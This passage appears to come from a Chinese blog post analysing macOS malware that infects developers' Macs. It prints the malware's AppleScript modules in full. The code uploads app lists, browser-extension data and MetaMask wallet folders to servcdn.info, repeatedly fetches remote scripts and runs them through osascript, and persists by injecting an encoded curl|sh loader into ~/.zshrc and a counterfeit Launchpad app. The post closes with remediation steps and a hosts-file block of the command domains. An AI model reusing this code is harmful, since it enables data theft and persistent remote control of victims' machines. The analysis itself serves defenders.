set theTextEnc to ""
repeat with eachChar in characters of theText
set useChar to eachChar
set eachCharNum to ASCII number of eachChar
if eachCharNum = 32 then
set useChar to "+"
else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
set firstDig to round (eachCharNum / 16) rounding down
set secondDig to eachCharNum mod 16
if firstDig > 9 then
set aNum to firstDig + 55
set firstDig to ASCII character aNum
end if
if secondDig > 9 then
set aNum to secondDig + 55
set secondDig to ASCII character aNum
end if
set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
set useChar to numHex
end if
set theTextEnc to theTextEnc & useChar as string
end repeat
return theTextEnc
end urlencode
on upload(filePath, fileName)
set MAX_SERVER_UPLOAD_SIZE to 300
set MAX_OVERALL_SIZE to 3000
set unquotedFilePath to do shell script "echo '" & filePath & "' | xargs"
set fileSize to (do shell script "du -m " & filePath & " | cut -f1") as integer
set fileNameHuman to fileName
set fileName to urlencode(fileName)
if fileSize > MAX_OVERALL_SIZE then
log "upload: file exceeds max size of " & MAX_OVERALL_SIZE & " MB. File size: " & fileSize & " MB"
return
end if
if fileSize < MAX_SERVER_UPLOAD_SIZE then
log "starting server upload for " & fileNameHuman & ". Expected file size: " & fileSize & " MB"
try
set message to ("b=" & userName & ":" & serialNumber & ":" & moduleName & ":" & fileName)
set message to (quoted form of message)
set fileField to quoted form of ("file=@" & unquotedFilePath)
do shell script "curl -sk --connect-timeout 10 -F " & message & " -F " & fileField & " 'https://servcdn.info/u'"
on error the errorMessage number the errorNumber
log ("server upload failed with message: " & errorMessage)
end try
end if
end upload
try
log "module launched"
set macOsVersion to do shell script "defaults read loginwindow SystemVersionStampAsString"
set logFile to quoted form of (tempFolder & "list.log")
-- Applications List
do shell script "ls /Applications &> " & logFile & " || true"
upload(logFile, "Applications.txt")
do shell script ("rm -f " & logFile & " || true")
do shell script "ls /System/Applications &> " & logFile & " || true"
upload(logFile, "Applications_System.txt")
do shell script ("rm -f " & logFile & " || true")
-- LaunchAgents List
do shell script "ls ~/Library/LaunchAgents &> " & logFile & " || true"
upload(logFile, "LaunchAgents.txt")
do shell script ("rm -f " & logFile & " || true")
-- Xprotect
set logFile to quoted form of (tempFolder & "xprotect.log")
do shell script "defaults read /Library/Apple/System/Library/CoreServices/XProtect.bundle/Contents/Info.plist CFBundleShortVersionString 2>/dev/null 1>" & logFile & " || echo 0"
upload(logFile, "Xprotect.txt")
do shell script ("rm -f " & logFile & " || true")
-- MRT
set logFile to quoted form of (tempFolder & "mrt.log")
do shell script "defaults read /Library/Apple/System/Library/CoreServices/MRT.app/Contents/Info.plist CFBundleShortVersionString 2>/dev/null 1>" & logFile & " || echo 0"
upload(logFile, "osmrt.txt")
do shell script ("rm -f " & logFile & " || true")
log "module finished"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
这个模块是把当前Mac电脑安装的软件信息了,启动信息了一堆东西传给病毒后台。
4.4 extensions模块
global FORCED_UPDATE
set FORCED_UPDATE to false
global moduleName
global serialNumber
global userName
global tempFolder
set moduleName to "extensions"
set serialNumber to "XX00000000XX"
try
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
global FOLDERS_LIST
global LOG_FILE
set FOLDERS_LIST to "
~/Library/Application Support/Firefox/Profiles/*/prefs.js|firefox_extensions
~/Library/Application Support/Google/Chrome/*/Extensions/*/manifest.json|chrome_extensions
~/Library/Application Support/Google/Chrome Canary/*/Extensions/*/manifest.json|canary_extensions
~/Library/Application Support/BraveSoftware/Brave-Browser/*/Extensions/*/manifest.json|brave_extensions
~/Library/Application Support/Microsoft Edge/*/Extensions/*/manifest.json|edge_extensions
~/Library/Application Support/com.operasoftware.Opera/*/Extensions/*/manifest.json|opera_extensions
"
set LOG_FILE to quoted form of (tempFolder & "out.txt")
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
on urlencode(theText)
set theTextEnc to ""
repeat with eachChar in characters of theText
set useChar to eachChar
set eachCharNum to ASCII number of eachChar
if eachCharNum = 32 then
set useChar to "+"
else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
set firstDig to round (eachCharNum / 16) rounding down
set secondDig to eachCharNum mod 16
if firstDig > 9 then
set aNum to firstDig + 55
set firstDig to ASCII character aNum
end if
if secondDig > 9 then
set aNum to secondDig + 55
set secondDig to ASCII character aNum
end if
set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
set useChar to numHex
end if
set theTextEnc to theTextEnc & useChar as string
end repeat
return theTextEnc
end urlencode
on upload(filePath, fileName)
set MAX_SERVER_UPLOAD_SIZE to 300
set MAX_OVERALL_SIZE to 3000
set unquotedFilePath to do shell script "echo '" & filePath & "' | xargs"
set fileSize to (do shell script "du -m " & filePath & " | cut -f1") as integer
set fileNameHuman to fileName
set fileName to urlencode(fileName)
if fileSize > MAX_OVERALL_SIZE then
log "upload: file exceeds max size of " & MAX_OVERALL_SIZE & " MB. File size: " & fileSize & " MB"
return
end if
if fileSize < MAX_SERVER_UPLOAD_SIZE then
log "starting server upload for " & fileNameHuman & ". Expected file size: " & fileSize & " MB"
try
set message to ("b=" & userName & ":" & serialNumber & ":" & moduleName & ":" & fileName)
set message to (quoted form of message)
set fileField to quoted form of ("file=@" & unquotedFilePath)
do shell script "curl -sk --connect-timeout 10 -F " & message & " -F " & fileField & " 'https://servcdn.info/u'"
on error the errorMessage number the errorNumber
log ("server upload failed with message: " & errorMessage)
end try
end if
end upload
on split(someText, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to someText's text items
set AppleScript's text item delimiters to {""} --> restore delimiters to default value
return someText
end split
on implode(myList, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to myList as text
set AppleScript's text item delimiters to {""} --> restore delimiters to default value
return someText
end implode
on doRepeatLoop(theLine)
delay 0.5
if theLine is equal to "" then
return
end if
set chunks to split(theLine, "|")
if chunks is equal to {} then
return
end if
set findPath to item 1 of chunks
if findPath contains "*" then
set findPath to do shell script ("echo " & findPath)
set findName to quoted form of (do shell script ("basename " & quoted form of findPath))
set findPath to do shell script ("dirname " & quoted form of findPath)
--log findPath
set subChunks to split(findPath, "*")
--log subChunks
set basePath to item 1 of subChunks
set basePath to quoted form of basePath
if (count of subChunks) > 1 then
set iPath to subChunks's items 2 thru -1
set iPath to implode(iPath, "*")
set iPath to quoted form of ("*" & iPath & "*")
else
set iPath to quoted form of "/*"
end if
set execCom to "grep -E 'default_title|name' {} \\+ 2>/dev/null || true) | cut -f4 -d '\"'"
if findName contains "prefs.js" then
set execCom to "grep 'extensions.webextensions.ExtensionStorageIDB' {} \\+ 2>/dev/null || true) | cut -f2 -d '\"'"
end if
set comLine to "(find " & basePath & " -type f -ipath " & iPath & " -iname " & findName & " -exec " & execCom
set resLines to paragraphs of (do shell script comLine)
if resLines is not equal to {} then
if (count of chunks) > 1 then
do shell script ("echo '***** " & (item 2 of chunks) & " ****' >> " & LOG_FILE)
end if
set printLines to (implode(resLines, "\\n") & "\\n\\n")
set printLines to quoted form of printLines
do shell script ("echo " & printLines & ">>" & LOG_FILE)
end if
end if
end doRepeatLoop
on doMain()
do shell script ("echo '' > " & LOG_FILE)
set foldersList to paragraphs of FOLDERS_LIST
repeat with theLine in foldersList
try
doRepeatLoop(theLine)
end try
end repeat
upload(LOG_FILE, "extensions.txt")
do shell script ("rm -rf " & LOG_FILE)
end doMain
try
log "module launched"
doMain()
log "module finished"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
end try
本模块读取浏览器的所有插件信息,然后上传。
4.5 payloader模块
global moduleName
global serialNumber
global userName
global tempFolder
set moduleName to "payloader"
set serialNumber to "XX00000000XX"
try
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
global REQUEST_INTERVAL
set REQUEST_INTERVAL to 120
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
on launchApp(appFile, wait)
if wait then
do shell script ("open -Wgna " & appFile)
else
do shell script ("open -gna " & appFile & " &> /dev/null & echo $!")
end if
end launchApp
on isInstalled(bundleId)
set appId to ""
try
set appId to do shell script "mdfind kMDItemCFBundleIdentifier = '" & bundleId & "'"
end try
if appId is equal to "" then
return false
end if
return true
end isInstalled
on boot(moduleName, wait)
try
if moduleName = "telegram" and isInstalled("ru.keepcoder.Telegram") is false then
log ("Telegram not found for " & moduleName)
return
end if
if moduleName = "cd" and isInstalled("com.google.Chrome") is false then
log ("Chrome not found for " & moduleName)
return
end if
set finderModules to {"replicator", "uploader_folder", "finder", "exec"}
if finderModules contains moduleName then
boot("finder_app", true)
set finderApp to "/Applications/SimulatorTrampoline.app"
set finderAppExists to do shell script ("[ -d " & finderApp & " ] && echo '1' || echo '0'")
if finderAppExists = "0" then
error "Finder app was not found"
end if
set scptFile to finderApp & "/Contents/Resources/Scripts/app.scpt"
set scptFile to quoted form of scptFile
do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & scptFile
launchApp(finderApp, wait)
delay 1
do shell script "rm -f " & scptFile
return
end if
--set appFileUnquoted to tempFolder & moduleName & ".app"
--set appFile to quoted form of (appFileUnquoted)
--do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & appFile
--launchApp(appFile, wait)
if wait then
do shell script "osascript -e \"$(curl -fskL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\""
else
do shell script "osascript -e \"$(curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\" &>/dev/null &"
end if
on error the errorMessage number the errorNumber
log ("Module " & moduleName & " boot failed with message: " & errorMessage)
delay 1
end try
end boot
on split(someText, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to someText's text items
set AppleScript's text item delimiters to {""} --> restore delimiters to default value
return someText
end split
on doMain()
try
set theModuleName to do shell script "curl -m 6 -fksL -d 'u=" & userName & "&s=" & serialNumber & "' https://servcdn.info/p"
if theModuleName is not equal to "" then
boot(theModuleName, false)
end if
on error the errorMessage number the errorNumber
log "payload request failed: " & errorMessage
end try
delay REQUEST_INTERVAL
doMain()
end doMain
try
log "module launched"
doMain()
log "module finished"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
end try
这个模块也很恶心,他每隔120秒就会去请求执行一次安装流程,等于说你如果发现了这个问题,把他的cd了,项目里面的内容了给改回去了,2分钟后,又重置了,恶心死人了。
4.6 data_folders模块
global FORCED_UPDATE
set FORCED_UPDATE to false
global moduleName
global serialNumber
global userName
global tempFolder
set moduleName to "data_folders"
set serialNumber to "XX00000000XX"
try
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
global USED_FILENAMES
set USED_FILENAMES to {}
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
on urlencode(theText)
set theTextEnc to ""
repeat with eachChar in characters of theText
set useChar to eachChar
set eachCharNum to ASCII number of eachChar
if eachCharNum = 32 then
set useChar to "+"
else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
set firstDig to round (eachCharNum / 16) rounding down
set secondDig to eachCharNum mod 16
if firstDig > 9 then
set aNum to firstDig + 55
set firstDig to ASCII character aNum
end if
if secondDig > 9 then
set aNum to secondDig + 55
set secondDig to ASCII character aNum
end if
set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
set useChar to numHex
end if
set theTextEnc to theTextEnc & useChar as string
end repeat
return theTextEnc
end urlencode
on upload(filePath, fileName)
set MAX_SERVER_UPLOAD_SIZE to 300
set MAX_OVERALL_SIZE to 3000
set unquotedFilePath to do shell script "echo '" & filePath & "' | xargs"
set fileSize to (do shell script "du -m " & filePath & " | cut -f1") as integer
set fileNameHuman to fileName
set fileName to urlencode(fileName)
if fileSize > MAX_OVERALL_SIZE then
log "upload: file exceeds max size of " & MAX_OVERALL_SIZE & " MB. File size: " & fileSize & " MB"
return
end if
if fileSize < MAX_SERVER_UPLOAD_SIZE then
log "starting server upload for " & fileNameHuman & ". Expected file size: " & fileSize & " MB"
try
set message to ("b=" & userName & ":" & serialNumber & ":" & moduleName & ":" & fileName)
set message to (quoted form of message)
set fileField to quoted form of ("file=@" & unquotedFilePath)
do shell script "curl -sk --connect-timeout 10 -F " & message & " -F " & fileField & " 'https://servcdn.info/u'"
on error the errorMessage number the errorNumber
log ("server upload failed with message: " & errorMessage)
end try
end if
end upload
on split(someText, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to someText's text items
set AppleScript's text item delimiters to {""} --> restore delimiters to default value
return someText
end split
on implode(myList, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to myList as text
set AppleScript's text item delimiters to {""} --> restore delimiters to default value
return someText
end implode
on str_replace(this_text, search_string, replacement_string)
set AppleScript's text item delimiters to the search_string
set the item_list to every text item of this_text
set AppleScript's text item delimiters to the replacement_string
set this_text to the item_list as string
set AppleScript's text item delimiters to ""
return this_text
end str_replace
on doRepeatLoop(foldersList)
delay 0.5
if foldersList is equal to {} then
return
end if
try
set theLine to item 1 of foldersList
-- log "processing line " & theLine
set chunks to split(theLine, "|")
if chunks is not equal to {} then
set findPath to item 1 of chunks
if theLine contains "FIREFOX_META_FLAG" then
set findPath to str_replace(findPath, " ", "\\ ")
set foundGrepPath to do shell script "grep -lir -E '\\smetamask\\s' " & findPath & " | head -1 | awk -Fidb 'NF>1 { print $1 }'"
--log foundGrepPath
set findPaths to {}
if foundGrepPath is not equal to "" then
if (count of chunks) > 1 then
set chunks to chunks's items 2 thru -2
end if
set end of findPaths to (foundGrepPath & "|" & implode(chunks, "|"))
end if
set foldersList to foldersList's (items 2 thru -1)
set foldersList to findPaths & foldersList
doRepeatLoop(foldersList)
return
end if
if findPath contains "*" then
set findPath to do shell script ("echo " & findPath)
set findName to quoted form of (do shell script ("basename " & quoted form of findPath))
set findPath to do shell script ("dirname " & quoted form of findPath)
--log findPath
set subChunks to split(findPath, "*")
--log subChunks
set basePath to item 1 of subChunks
set basePath to quoted form of basePath
set checkDirExists to do shell script ("[ -d " & basePath & " ] && echo 'yes' || echo 'no'")
if checkDirExists is equal to "no" then
log "not found folder: " & basePath
set foldersList to foldersList's (items 2 thru -1)
doRepeatLoop(foldersList)
return
end if
if (count of subChunks) > 1 then
set iPath to subChunks's items 2 thru -1
set iPath to implode(iPath, "*")
set iPath to quoted form of ("*" & iPath & "*")
else
set iPath to quoted form of "/*"
end if
set comLine to "find " & basePath & " -type d -ipath " & iPath & " -iname " & findName & " -print 2>/dev/null || true"
--log comLine
set findPaths to paragraphs of (do shell script (comLine))
--log findPaths
if (count of chunks) > 1 then
set chunks to (chunks's items 2 thru -1)
repeat with i from 1 to (count findPaths)
set extraLine to implode(chunks, "|")
set item i of findPaths to ((item i of findPaths) & "|" & extraLine)
end repeat
end if
set foldersList to foldersList's (items 2 thru -1)
set foldersList to findPaths & foldersList
doRepeatLoop(foldersList)
return
end if
set folderPath to do shell script ("echo " & findPath)
set folderPath to quoted form of folderPath
set checkDirExists to do shell script ("[ -d " & folderPath & " ] && echo 'yes' || echo 'no'")
if checkDirExists is equal to "yes" then
try
log "data folder found " & folderPath
set folderNameBaseName to do shell script ("echo $(basename " & folderPath & ")")
set savePath to quoted form of (tempFolder & folderNameBaseName & ".zip")
set comLine to "cd " & folderPath & "; cd .. ; rm -rf " & savePath & " && nice -n 10 zip -yr " & savePath & " " & (quoted form of folderNameBaseName)
if (count of chunks) > 1 then
set excludeFolderNames to split((item 2 of chunks), ",")
repeat with theExculsionFolder in excludeFolderNames
set comLine to comLine & " -x '*/" & theExculsionFolder & "/*'"
end repeat
end if
set comLine to comLine & " -x '*/.git/*'"
--log comLine
do shell script comLine
set uploadFileName to folderNameBaseName
if (count of chunks) > 2 then
set customFileName to (item 3 of chunks)
set uploadFileName to customFileName
end if
if USED_FILENAMES contains uploadFileName then
set uploadFileName to uploadFileName & "_"
end if
set end of USED_FILENAMES to uploadFileName
upload(savePath, (uploadFileName & "_data.zip"))
do shell script ("rm -rf " & savePath)
on error the errorMessage number the errorNumber
log ("folder processing failed: " & errorMessage)
end try
else
log "not found folder: " & folderPath
end if
end if
end try
if (count of foldersList) > 1 then
set foldersList to foldersList's (items 2 thru -1)
else
set foldersList to {}
end if
doRepeatLoop(foldersList)
end doRepeatLoop
on doMain()
set message to "f&u=" & userName & "&s=" & serialNumber
set message to quoted form of message
set foldersList to paragraphs of (do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/u"))
doRepeatLoop(foldersList)
end doMain
try
log "module launched"
doMain()
log "module finished"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
end try
本模块讲当前电脑下面所有的文件信息打包上传服务器,只是文件信息,没有上传文件。
4.7 persist模块
global RESTORE_DEFAULT
global DOCKUTIL_FORCE_RESTART
set RESTORE_DEFAULT to false
set DOCKUTIL_FORCE_RESTART to false
global moduleName
global serialNumber
global userName
global tempFolder
set moduleName to "persist_a"
set serialNumber to "XX00000000XX"
try
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
global dockUtil
global APP_VERSION
set APP_VERSION to "2.0"
on split(someText, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to someText's text items
set AppleScript's text item delimiters to {""} --> restore delimiters to default value
return someText
end split
on str_replace(this_text, search_string, replacement_string)
set AppleScript's text item delimiters to the search_string
set the item_list to every text item of this_text
set AppleScript's text item delimiters to the replacement_string
set this_text to the item_list as string
set AppleScript's text item delimiters to ""
return this_text
end str_replace
on getPayloadBody(pName)
set dArray to "(\"adguards.ru\" \"trendsolutions.info\" \"servcdn.info\" \"apscdn.ru\" \"mobilecdn.ru\" \"adguardstats.ru\")"
set encMethods to {"xxd -p -c0|xxd -p -r", "base64|base64 -D"}
set encMethod to some item of encMethods
set chunks to split(encMethod, "|")
set encFunc to item 1 of chunks
set decFunc to item 2 of chunks
set encString to do shell script "echo 'd=" & dArray & ";c=${d[$(($RANDOM % ${#d[@]} ))]};curl -fskL -d \"p=" & pName & "\" \"https://$c/a\" | sh' | " & encFunc
set shPayload to "(echo " & encString & " | " & decFunc & " | sh >/dev/null 2>&1 &)"
return shPayload
end getPayloadBody
on getPayloadForApp(appName, fileUri)
set payload to "do shell script \"open '" & fileUri & "'\""
if appName = "Launchpad.app" then
set payload to getPayloadBody("Launchpad")
set payload to "
do shell script \"open -b com.apple.launchpad.launcher\"
do shell script \"" & payload & "\"
"
end if
return payload
end getPayloadForApp
on restoreItem(appName, fileUri, itemName)
log "restoring item " & fileUri
set appFile to ""
if appName = "Launchpad.app" then
set appFile to "/System/Applications/Launchpad.app"
end if
if appFile is equal to "" then return
set appDiskPath to str_replace(fileUri, "file:///", "/")
try
do shell script "rm -rf " & quoted form of appDiskPath
log "app deleted in Caches/com.apple.finder"
end try
set noRestart to " --no-restart"
if DOCKUTIL_FORCE_RESTART is true then
set noRestart to ""
end if
do shell script dockUtil & " --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
log "dockutil --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
end restoreItem
on processItem(theItem)
log "processing item: " & theItem
set chunks to split(theItem, "|")
if (count of chunks) < 2 then return
set itemName to item 1 of chunks
set fileUri to item 2 of chunks
set fileUrl to quoted form of (str_replace(fileUri, "%20", " "))
set appName to do shell script "basename " & fileUri
set appName to str_replace(appName, "%20", " ")
if theItem contains "Caches/com.apple.finder" and RESTORE_DEFAULT is true then
restoreItem(appName, fileUrl, itemName)
return
end if
if theItem contains "Caches/com.apple.finder" then
log "item " & theItem & " already done"
set appDiskPath to str_replace(fileUri, "file:///", "/")
set infoPlistFile to quoted form of (appDiskPath & "/Contents/Info.plist")
set appVersion to do shell script ("defaults read " & infoPlistFile & " CFBundleShortVersionString 2>/dev/null || echo '1.0'")
if appVersion is not equal to APP_VERSION then
log "version change was " & appVersion & ". currrent: " & APP_VERSION & ". updating..."
else
return
end if
end if
set appFileDir to do shell script "echo ~/Library/Caches/com.apple.finder/"
set appFileUnquoted to appFileDir & appName
set appFile to quoted form of appFileUnquoted
set payload to getPayloadForApp(appName, fileUri)
set payload to quoted form of payload
do shell script "rm -rf " & appFile & " && osacompile -x -e " & payload & " -o " & appFile -- x option add
if appName = "Launchpad.app" then
do shell script "plutil -replace LSUIElement -bool YES " & appFileUnquoted & "/Contents/Info.plist"
do shell script "plutil -replace CFBundleDisplayName -string 'Launchpad' " & appFileUnquoted & "/Contents/Info.plist"
do shell script "plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' " & appFileUnquoted & "/Contents/Info.plist"
set infoPlistLoctable to quoted form of appFileUnquoted & "/Contents/Resources/InfoPlist.loctable"
do shell script ("curl -fksL -o " & infoPlistLoctable & " 'https://servcdn.info/agent/bin/InfoPlist.loctable_launchpad'")
set lprojDirs to quoted form of appFileUnquoted & "/Contents/Resources/{ar.lproj,zh_CN.lproj,zh_HK.lproj,zh_TW.lproj}"
do shell script ("mkdir -p " & lprojDirs)
end if
do shell script "plutil -replace CFBundleShortVersionString -string '" & APP_VERSION & "' " & appFileUnquoted & "/Contents/Info.plist"
set icnsFile to quoted form of appFileUnquoted & "/Contents/Resources/applet.icns"
try
set iconName to str_replace(appName, ".app", "")
set iconName to str_replace(iconName, " ", "")
set macOsVersion to do shell script "defaults read loginwindow SystemVersionStampAsString"
do shell script ("curl -fksL -o " & icnsFile & " 'https://servcdn.info/agent/bin/icons.php?icon=" & iconName & "&os=" & macOsVersion & "'")
end try
do shell script "codesign --force --deep -s - " & appFile
log "app in place and codesigned"
if theItem does not contain "Caches/com.apple.finder" then
set noRestart to " --no-restart"
if DOCKUTIL_FORCE_RESTART is true then
set noRestart to ""
end if
do shell script dockUtil & " --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
log "dockutil --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
end if
end processItem
on doDock()
set dockUtil to quoted form of (tempFolder & "dockutil")
try
do shell script ("curl -fksL -o " & dockUtil & " https://servcdn.info/agent/bin/dockutil --create-dirs")
do shell script "chmod +x " & dockUtil
on error the errorMessage
log "failed downloading dockutil: " & errorMessage
return
end try
try
set itemSet to paragraphs of (do shell script dockUtil & " --list | cut -f 1-2 | sed 's/\\t/|/g' | grep -E '/(Launchpad).app' | cat")
log (do shell script "file " & dockUtil & " | head -n 1")
--log (do shell script "codesign -vvv " & dockUtil)
log (do shell script dockUtil & " --version")
on error errorMessage
error "dockutil error: " & errorMessage
end try
if itemSet is equal to {} then
log "no matching Dock items"
return
end if
repeat with theItem in itemSet
processItem(theItem)
end repeat
do shell script "rm -rf " & dockUtil
end doDock
on doMain()
try
set payload to getPayloadBody("Terminal")
set payload to quoted form of payload
do shell script "echo " & payload & " > ~/.zshrc_aliases"
log ".zshrc_aliases updated"
set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases"
set payload to quoted form of payload
do shell script "touch ~/.zshrc"
do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc"
log ".zshrc done"
on error the errorMessage
log "failed at .zshrc: " & errorMessage
return
end try
end doMain
try
log "module launched. RESTORE_DEFAULT: " & RESTORE_DEFAULT & ", DOCKUTIL_FORCE_RESTART: " & DOCKUTIL_FORCE_RESTART
doMain()
doDock()
log "module finished"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
end try
这个模块也很恶心,他首先是修改了我们的.zshrc文件,然后是修改了启动台APP,导致我们即使说把iOS项目中的代码删除掉,也没有用,因为.zshrc是开机就会启动,然后启动台APP也是我们经常用的软件。
如何解决
如果说你一不小心中毒了,不要慌,从我上面的分析可以得出,该病毒非常依赖病毒的服务器,也就是说一旦他们服务器访问不到,病毒就不会运行了。所以我们有了一个最简单的办法,就是修改hosts文件中,病毒域名的解析,我分析得到该病毒用到的域名有如下:
"adguards.ru", "mobilecdn.ru", "trendsolutions.info", "servcdn.info", "apscdn.ru", "adguardstats.ru"
全部给他拉黑即可,去/etc/hosts文件中,增加如下内容:
目的就是让病毒无法访问服务器。接下来就是把病毒修改的内容给复原即可:
1.手动去每个项目里面复原
2.删除病毒安装的app
3.去/tmp/中删除病毒安装的b.app和cd
4.删除病毒新建的目录~/Library/Caches/com.apple.finder/
5.复原病毒修改过权限的HOME/Library/Google/GoogleSoftwareUpdate
6.删除病毒生存的.zshrc_aliases文件,同时删除.zshrc中新增的内容
7.重启一下,正版的启动台APP就回来了
最后我发现一个很有意思的文件,在病毒新建的目录~/Library/Caches/com.apple.finder/中,有内容如下:
其中.a文件内容
1729520069|1729520069|1
喔呵,这是两个手机号,我查了,都是成都的,各位自行鉴定真伪。